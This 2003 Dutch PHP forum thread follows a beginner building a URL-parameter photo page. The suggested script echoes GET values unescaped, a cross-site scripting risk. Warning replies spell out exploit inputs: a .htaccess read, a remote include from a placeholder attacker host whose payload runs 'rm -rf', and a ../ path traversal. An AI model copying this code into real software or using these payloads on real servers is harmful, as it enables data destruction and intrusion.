Scholieren.com forum - PHP Vraagje

Scholieren.com forum (https://forum.scholieren.com/index.php)

- Software & Hardware (https://forum.scholieren.com/forumdisplay.php?f=20)

- - PHP Vraagje (https://forum.scholieren.com/showthread.php?t=497924)

Nate	02-06-2003 19:01

PHP Vraagje

Sorry dat ik jullie lastigval, hoor, maar dit moet niet erg moeilijk zijn. Ik zie het alleen even niet... uche.

Stel, je hebt een site met verschillende 'thumbnails' van plaatjes, zoals deze.
Klik je op een van deze thumbnails, dan wordt een pagina geladen zoals deze. In de URL staan nu 3 variabelen die de pagina (naast de grijze achtergrond e.d.) maken; de bestandsnaam van het plaatje, en de beschrijving en datum die onder het plaatje verschijnen.

Mijn vraag is, concreet, hoe stel ik dit in werking. Kan iemand me de code hiervoor geven? Hoe kan ik een thumbnail doorlinken naar een pagina waar, afhankelijk van de URL, een plaatje met beschrijving tevoorschijn komt.

Alvast bedankt voor de hulp, en sorry als dit niet duidelijk is. Ik heb de PHP 'skills' van een olifant.

Martin

02-06-2003 19:15

Ik raad je aan om eens op phpfreakz.nl te kijken in de script-library bij de fotoboeken / photoalbums. Probeer eerst eens zo`n script en bouw hem uit :)

Enlightenment

02-06-2003 19:31

Wat jij wilt is een PHP image handler.

Dit is geeneens zo heel makkelijk, best geavanceerd. Hier komt het op neer:

Op je pagina van alle thumbnails heb je per plaatje zoiets:

<a href="/image.php?id=203"><img src="/image.php?id=203&type=thumb" alt=""></a>

Je hebt dan dus een image.php bestand nodig. Deze verdeel je in twee secties, ééntje voor de thumbnail en ééntje voor de gewone foto. Dit doe je door:

PHP-code:


		
			
if ($_GET['type'] == 'thumb')

{

  // thumbnail

}

else

{

  // gewoon plaatje

}

Je moet in beide gevallen de header() functie gebruiken om de contenttype naar image te zetten. Uit de database haal je aan de hand van de ID het plaatje op. in je DB staat b.v.:

Code:

ID - Naam - Padnaam

100 - BBQ - /images/bbq.gif

101 - Mijn kamer - /images/mkm.jpg

102 - ikkuh - /images/me.jpg

Je haalt dan dus de rij op van de ID. Dus SQL query:

SELECT *
FROM images
WHERE id=101

Volgens mij doe je dan gewoon require($padnaam); en ben je klaar. Voor de thumbnail is het lastiger, dan moet je een kleiner plaatje maken van het origineel, real time of éénmalig doen wanneer je een plaatje upload.

Echt niet beginnersstuff dit.

Nate	02-06-2003 19:43

Ik snap het half.

Eigenlijk verkeerde ik onder het idee dat het enige wat gedaan moest worden, dit was:

Gegeven is de URL http://hunkabutta.com/picture_pages/...ate=05.30.2003

De pagina in kwestie (photoPage.php) hoeft nu slechts nog te weten waar de variabelen 'name', 'desc', en 'date' geplaatst moeten worden, in het document. De rest is standaard, HTML.

Dus dat zou, in mijn ogen, betekenen dat ik slechts de positie en properties van $name, $desc, en $date hoef te bepalen, in de code van photoPage.php.

Wat het probleem dan nog is, in ieder geval voor mij, is hoe ik photoPage.php duidelijk maak dat hij de waarden voor de variabelen $name enz. kan vinden in de URL.

Ik heb heel weinig verstand van PHP zoals vast al wel duidelijk, dus ik zal er wel aardig naast zitten, maar enfin. Bedankt voor de reacties!

deathz0rz

02-06-2003 19:46

alles achter het ? in de URL zet PHP om variabelen

vb:

blaat.php?x=6&dd=5

je hebt nu twee variabelen:

$_GET['x'] en $_GET['dd'], respectievelijk 6 en 5, simpel toch?

Enlightenment

02-06-2003 19:50

Als je het zonder database backend wilt doen zul je de variabelen moeten meegeven met je URL. Dan wordt het dus:

<a href="/image.php?pad=/images/plaatje.jpg"><img src="/image.php?thumb=/images/plaatje.jpg" alt=""></a>

Dit is echter extreem onveilig. Iemand kan de /image.php gebruiken om alle bestanden te lezen op je server, dus zou je b.v. filters moeten gebruiken om php bestanden te filteren, evenals externe adressen te filteren. Dan nog is het niet veilig naar mijn idee. Als je het goed wilt doen heb je een database erachter nodig.

Ik raad je dan ook aan eerst meer ervaring op te doen met PHP voordat je zoiets als dit onderneemt. Heb je sowieso wel SQL ervaring??

deathz0rz

02-06-2003 19:54

EDIT:is hier nu net een post gedelete?
w8 ff, ik maak wel ff een script...

http://deathz0rz.homeunix.net/blaat.php?x=6&dd=5

dit is de source

PHP-code:


		
			
<?php

header('Content-type: text/plain');

print_r($_GET);

?>

probeer ook de waardes te veranderen...

Nate	02-06-2003 19:55

Citaat:

Enlightenment schreef op 02-06-2003 @ 20:50:
Als je het zonder database backend wilt doen zul je de variabelen moeten meegeven met je URL. Dan wordt het dus:

<a href="/image.php?pad=/images/plaatje.jpg"><img src="/image.php?thumb=/images/plaatje.jpg" alt=""></a>

Dit is echter extreem onveilig. Iemand kan de /image.php gebruiken om alle bestanden te lezen op je server, dus zou je b.v. filters moeten gebruiken om php bestanden te filteren, evenals externe adressen te filteren. Dan nog is het niet veilig naar mijn idee. Als je het goed wilt doen heb je een database erachter nodig.

Ik raad je dan ook aan eerst meer ervaring op te doen met PHP voordat je zoiets als dit onderneemt. Heb je sowieso wel SQL ervaring??

Nee, maar dat is het punt niet. Ik wil geen ervaring in al die ongein, daar heb ik de tijd niet voor. Ik wil mezelf slechts de moeite besparen om, voor elke foto die ik maak, een geheel nieuwe pagina te maken en bewaren op mijn server. Dat ga ik sowieso niet halen wat betreft ruimte.

Dat iemand vervolgens alles kan lezen op mijn server, dat doet er niet zoveel toe; als ze het er maar niet af kunnen halen.

Maar enfin, laat ik het praktischer aanpakken.

http://jushi.blogspot.com

Dit is waar ik mee probeer te werken. Het meeste erop is gewoon premade, niks speciaals. Je ziet dat ik reeds enkele thumbnails heb geplaatst op de site. Ik wil dat deze linken naar de volledige plaatjes op een aparte pagina, met achtergrond, en de variabelen name, description, en date. Wat moet ik doen.

Als het maar werkt :)

deathz0rz

02-06-2003 19:57

Citaat:

Nate schreef op 02-06-2003 @ 20:55:
Nee, maar dat is het punt niet. Ik wil geen ervaring in al die ongein, daar heb ik de tijd niet voor. Ik wil mezelf slechts de moeite besparen om, voor elke foto die ik maak, een geheel nieuwe pagina te maken en bewaren op mijn server. Dat ga ik sowieso niet halen wat betreft ruimte.

Dat iemand vervolgens alles kan lezen op mijn server, dat doet er niet zoveel toe; als ze het er maar niet af kunnen halen.

Maar enfin, laat ik het praktischer aanpakken.

http://jushi.blogspot.com

Dit is waar ik mee probeer te werken. Het meeste erop is gewoon premade, niks speciaals. Je ziet dat ik reeds enkele thumbnails heb geplaatst op de site. Ik wil dat deze linken naar de volledige plaatjes op een aparte pagina, met achtergrond, en de variabelen name, description, en date. Wat moet ik doen.

Als het maar werkt :)

van mij gelezen?

en heb je iets van jou gedelete?

Nate	02-06-2003 19:59

Citaat:

deathz0rz schreef op 02-06-2003 @ 20:57:
van mij gelezen?

en heb je iets van jou gedelete?

Ja ik heb even een en ander vereenvoudigd :)

Bedankt voor je post/moeite, maar eerlijk gezegd zie ik niet hoe ik er dit 'systeempje' mee kan bouwen. Ga er maar niet vanuit dat ik dingen zelf bedenk, want dat kan ik simpelweg niet :D

deathz0rz

02-06-2003 20:05

Citaat:

Nate schreef op 02-06-2003 @ 20:59:
Bedankt voor je post/moeite, maar eerlijk gezegd zie ik niet hoe ik er dit 'systeempje' mee kan bouwen. Ga er maar niet vanuit dat ik dingen zelf bedenk, want dat kan ik simpelweg niet :D

PHP-code:


		
			
<html>

<head>

<title>Photo - <?php echo $_GET['name']; ?></title>

</head>

<body>

<img src="<?php echo $_GET['path']; ?>" alt="<?php echo $_GET['date'] . ' - ' . $_GET['name']; ?>">

<?php echo $_GET['date'] . ' - ' . $_GET['name']; ?>

</body>

</html>

je moet nu zo'n URL hebben: script.php?name=deathz0rz's%20foto-door%20hemzelf&path=/images/deathz0rz.jpg&date=23%20jan.%202003
(%20=spatie)

en dan zou dit eruit komen:

Code:

<html>

<head>

<title>Photo - deathz0rz's foto-door hemzelf</title>

</head>

<body>

<img src="/images/deathz0rz.jpg" alt="23 jan. 2003 - deathz0rz's foto-door hemzelf">

23 jan. 2003 - deathz0rz's foto-door hemzelf

</body>

</html>

Martin

02-06-2003 20:08

Citaat:

deathz0rz schreef op 02-06-2003 @ 21:05:

PHP-code:

<html> *knip*</html>

je moet nu zo'n URL hebben: script.php?name=deathz0rz's%20foto-door%20hemzelf&path=/images/deathz0rz.jpg&date=23%20jan.%202003
(%20=spatie)

Dit is niet veilig, zie de reactie van Enlightenment.

deathz0rz

02-06-2003 20:10

Citaat:

Martin schreef op 02-06-2003 @ 21:08:
Dit is niet veilig, zie de reactie van Enlightenment.

dat weet ik ook wel, maar hij/zij wou het eenvoudig...

Martin

02-06-2003 20:15

Citaat:

deathz0rz schreef op 02-06-2003 @ 21:10:
dat weet ik ook wel, maar hij/zij wou het eenvoudig...

Het kan nog zo eenvoudig zijn, maar dit is gewoon erg onveilig.

Nate	02-06-2003 20:15

Hartstikke bedankt, ik denk dat dit is wat ik zocht.

Dan, met minder noodzaak, kunnen we nu gaan babbelen over de onveiligheid hiervan. Wat, precies, kan er gebeuren? Er staat niets geheims op m'n server.

deathz0rz

02-06-2003 20:18

Citaat:

Nate schreef op 02-06-2003 @ 21:15:
Hartstikke bedankt, ik denk dat dit is wat ik zocht.

Dan, met minder noodzaak, kunnen we nu gaan babbelen over de onveiligheid hiervan. Wat, precies, kan er gebeuren? Er staat niets geheims op m'n server.

ja ik snap het eigenlijk ook niet zo, php verstuurt zelf de gegevens niet ofzo.. dus.. en URL kan je zelf ook wel bedenken...

het wordt anders als je PHP een file laat sturen van je HD, maar dat doe je hier niet

Enlightenment

02-06-2003 20:25

Citaat:

je moet nu zo'n URL hebben: script.php?name=deathz0rz&path=/images/deathz0rz.jpg&date=blah

script.php?name=deathaanmij&path=/.htaccess&date=blah
script.php?name=deathaanmij&path=http://my1337s3rv0r/iklaatjoucrashen.jpg&date=blah
http://gathering.tweakers.net/global/smileys/shutup.gif

Nate	02-06-2003 20:25

BTW, de code

PHP-code:


		
			
<html>

<head>

<title>Photo - <?php echo $_GET['name']; ?></title>

</head>

<body>

<img src="<?php echo $_GET['path']; ?>" alt="<?php echo $_GET['date'] . ' - ' . $_GET['name']; ?>">

<?php echo $_GET['date'] . ' - ' . $_GET['name']; ?>

</body>

</html>

Sla ik dit op als .htm of .php bestand? Kan dit gewoon met notepad? En vervolgens hoef ik dus alleen de URL te bedenken, in te voeren (script.php zijnde het bestand met de bovenstaande code), en voila?

Sorry voor de vele vragen, hoor. Maargoed, kan niet alles weten.

Nate	02-06-2003 20:26

Citaat:

Enlightenment schreef op 02-06-2003 @ 21:25:
script.php?name=deathaanmij&path=/.htaccess&date=blah
script.php?name=deathaanmij&path=http://my1337s3rv0r/iklaatjoucrashen.jpg&date=blah
[afbeelding]

De enige die het resultaat hiervan zal zien is degene die het zelf in de browser invoert, right?

deathz0rz

02-06-2003 20:29

Citaat:

Nate schreef op 02-06-2003 @ 21:25:
BTW, de code

PHP-code:

<html> <head> <title>Photo - <?php echo $_GET['name']; ?></title> </head> <body> <img src="<?php echo $_GET['path']; ?>" alt="<?php echo $_GET['date'] . ' - ' . $_GET['name']; ?>"> <?php echo $_GET['date'] . ' - ' . $_GET['name']; ?> </body> </html>

Sla ik dit op als .htm of .php bestand? Kan dit gewoon met notepad? En vervolgens hoef ik dus alleen de URL te bedenken, in te voeren (script.php zijnde het bestand met de bovenstaande code), en voila?

Sorry voor de vele vragen, hoor. Maargoed, kan niet alles weten.

aLs .php en idd gewoon in notepad

en tegen enlightenment:

nuttig: <img src="http://my1337s3rv0r/iklaatjoucrashen.jpg">

dan kan ik net zo goed gewoon
http://my1337s3rv0r/iklaatjoucrashen.jpg
intypen...

Enlightenment

02-06-2003 20:29

Citaat:

Nate schreef op 02-06-2003 @ 21:25:
Sla ik dit op als .htm of .php bestand? Kan dit gewoon met notepad? En vervolgens hoef ik dus alleen de URL te bedenken, in te voeren (script.php zijnde het bestand met de bovenstaande code), en voila?

Als .php bestand (het bevat PHP code namelijk). PHP kun je coden in notepad yep. Ik raad TextPad aan, vanwege formatting en auto-indent, etc.

Enlightenment

02-06-2003 20:36

Citaat:

Nate schreef op 02-06-2003 @ 21:26:
De enige die het resultaat hiervan zal zien is degene die het zelf in de browser invoert, right?

:confused:

Het 1e voorbeeld wat ik gaf, is door de .htaccess file uit te lezen, daarin kan b.v. login informatie staan van beveiligde directories. Normaal laat Apache deze niet toe, maar als je het met PHP uitleest wel, een exploit dus.

Het tweede kun je PHP laten crashen door hem willekeurige data te laten importen. Je kunt namelijk naar een externe server verwijzen, externe data require-en is een ernstige security vulnerability. Je zou zo de hele server eruit kunnen schoppen door per request 10MB aan geheugen op te snoepen. Maal 200 requests per seconde en zelfs een geile UNIX server weet Apache niet meer overeind te houden.

Maar wat nog véél en véél erger is, is dit:

in http://my1337s3rv0r/iklaatjoucrashen.jpg staat dan:

<?php

passthru('rm -rf /usr/local/www/');

?>

Om maar eens wat te noemen. De user heeft nu user-level access tot de PHP server. In windows is dit al een volledige compromise te noemen, in UNIX is het zaak om root level access te krijgen door op zoek te gaan naar vulnerabilities.

Dit om maar even aan te geven hoe vreselijk onveilig dit is. ;)

deathz0rz

02-06-2003 20:38

Citaat:

Enlightenment schreef op 02-06-2003 @ 21:36:
:confused:

Het 1e voorbeeld wat ik gaf, is door de .htaccess file uit te lezen, daarin kan b.v. login informatie staan van beveiligde directories. Normaal laat Apache deze niet toe, maar als je het met PHP uitleest wel, een exploit dus.

Het tweede kun je PHP laten crashen door hem willekeurige data te laten importen. Je kunt namelijk naar een externe server verwijzen, externe data require-en is een ernstige security vulnerability. Je zou zo de hele server eruit kunnen schoppen door per request 10MB aan geheugen op te snoepen. Maal 200 requests per seconde en zelfs een geile UNIX server weet Apache niet meer overeind te houden.

Maar wat nog véél en véél erger is, is dit:

in http://my1337s3rv0r/iklaatjoucrashen.jpg staat dan:

<?php

passthru('rm -rf /usr/local/www/');

?>

Om maar eens wat te noemen. De user heeft nu user-level access tot de PHP server. In windows is dit al een volledige compromise te noemen, in UNIX is het zaak om root level access te krijgen door op zoek te gaan naar vulnerabilities.

Dit om maar even aan te geven hoe vreselijk onveilig dit is. ;)

HALLOW????

met php maak je alleen maar een URL hoor... SNAP JE HET EEN BTJE????

sorry hoor, maar ik vraag me echt af *****

Enlightenment

02-06-2003 20:40

Citaat:

deathz0rz schreef op 02-06-2003 @ 21:38:
HALLOW????

met php maak je alleen maar een URL hoor... SNAP JE HET EEN BTJE????

sorry hoor, maar ik vraag me echt af *****

:confused:

Wist niet dat je boos werd. :)

Als je de image opent met include($_GET['pad']); kun je dit dus bereiken.

deathz0rz

02-06-2003 20:43

Citaat:

Enlightenment schreef op 02-06-2003 @ 21:40:
Als je de image opent met include($_GET['pad']); kun je dit dus bereiken.

maar dat doe je niet...

Nate	02-06-2003 20:45

Nevertheless, met script.php op c:\

C:\script.php?name=Den%20Bosch%20Station&path=\jushi\fullscreen\06\020 603_2.jpg&date=02%20June

Geeft: fout.

Enlightenment

02-06-2003 20:49

Citaat:

deathz0rz schreef op 02-06-2003 @ 21:43:
maar dat doe je niet...

Met welke functie wil je het dan bereiken?
Je kan het ook wel beveiligen met require en include, maar dan mag je niets over het hoofd zien. Simpele beveiliging:

include('/www/docs/'.$_GET['pad']);

Exploit:

$_GET['pad'] == '../../usr/local/etc/php.ini';

Vertaalt zich naar:

include('/usr/local/etc/php.ini');

Dus .. moet je er ook uithalen, etcetc. En dan hopen dat je nog niet iets over het hoofd hebt gezien.

deathz0rz

02-06-2003 20:54

Citaat:

Enlightenment schreef op 02-06-2003 @ 21:49:
Met welke functie wil je het dan bereiken?
Je kan het ook wel beveiligen met require en include, maar dan mag je niets over het hoofd zien. Simpele beveiliging:

include('/www/docs/'.$_GET['pad']);

Exploit:

$_GET['pad'] == '../../usr/local/etc/php.ini';

Vertaalt zich naar:

include('/usr/local/etc/php.ini');

Dus .. moet je er ook uithalen, etcetc. En dan hopen dat je nog niet iets over het hoofd hebt gezien.

<img src="<php echo $_GET['pad']; ?>">

ik zie geen include...

deathz0rz

02-06-2003 21:01

Citaat:

Nate schreef op 02-06-2003 @ 21:45:
Nevertheless, met script.php op c:\

C:\script.php?name=Den%20Bosch%20Station&path=\jushi\fullscreen\06\020 603_2.jpg&date=02%20June

Geeft: fout.

wat voor fout?

Enlightenment

02-06-2003 21:02

Citaat:

deathz0rz schreef op 02-06-2003 @ 21:54:
<img src="<php echo $_GET['pad']; ?>">

ik zie geen include...

Ja dan maak je een HTML pagina waar die image instaat, is iets anders dan deze techniek:

script.php?name=deathz0rz&path=/images/deathz0rz.jpg&date=blah

En dan is script.php een php page vermomd als image/jpeg (of /gif) contenttype de raw image uitpoept.

Hiermee kun je dan de thumbnail door php ook laten doen.

Maar het kan simpeler door wat jij bedoelt, en in een <img .. > tag is ook redelijk veilig, omdat dan iig de client het bestand opvraagt en niet de server. Nadeel is dat je dan de thumbnail niet door php laat doen, deze moet je dan dus hardcoded in je thumbnail page zetten.

deathz0rz

02-06-2003 21:06

Citaat:

Enlightenment schreef op 02-06-2003 @ 22:02:
Ja dan maak je een HTML pagina waar die image instaat, is iets anders dan deze techniek:

script.php?name=deathz0rz&path=/images/deathz0rz.jpg&date=blah

En dan is script.php een php page vermomd als image/jpeg (of /gif) contenttype de raw image uitpoept.

Hiermee kun je dan de thumbnail door php ook laten doen.

Maar het kan simpeler door wat jij bedoelt, en in een <img .. > tag is ook redelijk veilig, omdat dan iig de client het bestand opvraagt en niet de server. Nadeel is dat je dan de thumbnail niet door php laat doen, deze moet je dan dus hardcoded in je thumbnail page zetten.

als je gelezen had wat ik zei enzo.. en gelezen dat het zo simpel mogelijk moest, dan had je het allang begrepen...

maar idd, met dat soort dingen (die jij beschrijft) moet je oppassen...

Nate	02-06-2003 21:13

Citaat:

deathz0rz schreef op 02-06-2003 @ 22:01:
wat voor fout?

http://members.home.nl/carin.chorus/naamloos1.jpg

Heb notepad geopend, je code gekopieerd, opgeslagen als script.php op C:\

:confused:

deathz0rz

02-06-2003 21:14

Citaat:

Nate schreef op 02-06-2003 @ 22:13:
[afbeelding]

Heb notepad geopend, je code gekopieerd, opgeslagen als script.php op C:\

:confused:

eeh, je moet wel een PHP server hebben...

Nate	02-06-2003 21:18

Citaat:

deathz0rz schreef op 02-06-2003 @ 22:14:
eeh, je moet wel een PHP server hebben...

Dus, je kunt je PHP raadseltjes niet testen zonder ze te uploaden naar een server die PHP ondersteunt?

deathz0rz

02-06-2003 21:18

Citaat:

Nate schreef op 02-06-2003 @ 22:18:
Dus, je kunt je PHP raadseltjes niet testen zonder ze te uploaden naar een server die PHP ondersteunt?

idd

Nate	02-06-2003 21:45

Citaat:

Bootsman123 schreef op 02-06-2003 @ 22:38:
Ik heb wel een script waarmee je foto's kunt uploaden waar daarna er thumbnails van worden gemaakt, je deze dan kunt bekijken en commentaar toevoegen. Het is niet eens een zo ingewikkeld script tenzij je helemaal niets van php afweet. Als je het wilt hebben dan moet je maar even reageren met een e-mail.

P.S. Bij lycos kun je een gratis website maken met php ondersteuning. Het enige nadeel, het uploadscript werkt niet.

Hartelijk dank, maar het is niet langer nodig :)

Lycos heb ik het persoonlijk niet zo op, maar geen zorgen, mijn webspace heeft php ondersteuning.

Alle tijden zijn GMT +1. Het is nu 10:36.